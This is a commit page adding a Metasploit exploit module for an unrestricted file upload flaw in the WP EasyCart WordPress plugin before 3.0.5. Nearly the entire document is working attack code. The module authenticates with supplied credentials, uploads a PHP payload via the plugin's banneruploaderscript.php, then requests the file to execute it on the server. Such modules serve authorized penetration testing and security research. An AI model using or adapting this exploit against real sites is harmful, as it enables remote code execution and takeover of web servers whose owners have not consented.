Skip to content

Commit ea37e2e

Browse files
committed
Add WP EasyCart file upload exploit module
1 parent 49f04fa commit ea37e2e

File tree

1 file changed

+109
-0
lines changed

1 file changed

+109
-0
lines changed
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::FileDropper
12+
include Msf::HTTP::Wordpress
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'WordPress WP EasyCart 3.0.4 Unrestricted File Upload',
18+
'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
19+
WordPress contains a flaw that allows a remote
20+
attacker to execute arbitrary PHP code. This
21+
flaw exists because the
22+
/inc/amfphp/administration/banneruploaderscript.php
23+
script does not properly verify or sanitize
24+
user-uploaded files. By uploading a .php file,
25+
the remote system will place the file in a
26+
user-accessible path. Making a direct request to
27+
the uploaded file will allow the attacker to
28+
execute the script with the privileges of the web
29+
server.},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'Kacper Szurek', # Vulnerability disclosure
34+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
35+
],
36+
'References' =>
37+
[
38+
['OSVDB', '116806'],
39+
['WPVDB', '7745']
40+
],
41+
'DisclosureDate' => 'Jan 08 2015',
42+
'Platform' => 'php',
43+
'Arch' => ARCH_PHP,
44+
'Targets' => [['wp-easycart < 3.0.5', {}]],
45+
'DefaultTarget' => 0
46+
))
47+
48+
register_options(
49+
[
50+
OptString.new('USERNAME', [true, 'The username to authenticate with']),
51+
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
52+
], self.class)
53+
end
54+
55+
def username
56+
datastore['USERNAME']
57+
end
58+
59+
def password
60+
datastore['PASSWORD']
61+
end
62+
63+
def check
64+
check_plugin_version_from_readme('wp-easycart', '3.0.5')
65+
end
66+
67+
def generate_mime_message(payload, name)
68+
data = Rex::MIME::Message.new
69+
data.add_part('1', nil, nil, 'form-data; name="datemd5"')
70+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
71+
data
72+
end
73+
74+
def exploit
75+
print_status("#{peer} - Authenticating using #{username}:#{password}...")
76+
cookie = wordpress_login(username, password)
77+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
78+
print_good("#{peer} - Authenticated with WordPress")
79+
80+
print_status("#{peer} - Preparing payload...")
81+
payload_name = Rex::Text.rand_text_alpha(10)
82+
plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
83+
uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
84+
payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_1.php")
85+
data = generate_mime_message(payload, "#{payload_name}.php")
86+
87+
print_status("#{peer} - Uploading payload to #{payload_url}")
88+
res = send_request_cgi(
89+
'method' => 'POST',
90+
'uri' => uploader_url,
91+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
92+
'data' => data.to_s,
93+
'cookie' => cookie
94+
)
95+
96+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
97+
vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
98+
print_good("#{peer} - Uploaded the payload")
99+
100+
print_status("#{peer} - Executing the payload...")
101+
register_files_for_cleanup("#{payload_name}_1.php")
102+
send_request_cgi(
103+
{
104+
'uri' => payload_url,
105+
'method' => 'GET'
106+
}, 5)
107+
print_good("#{peer} - Executed payload")
108+
end
109+
end

0 commit comments

Comments
 (0)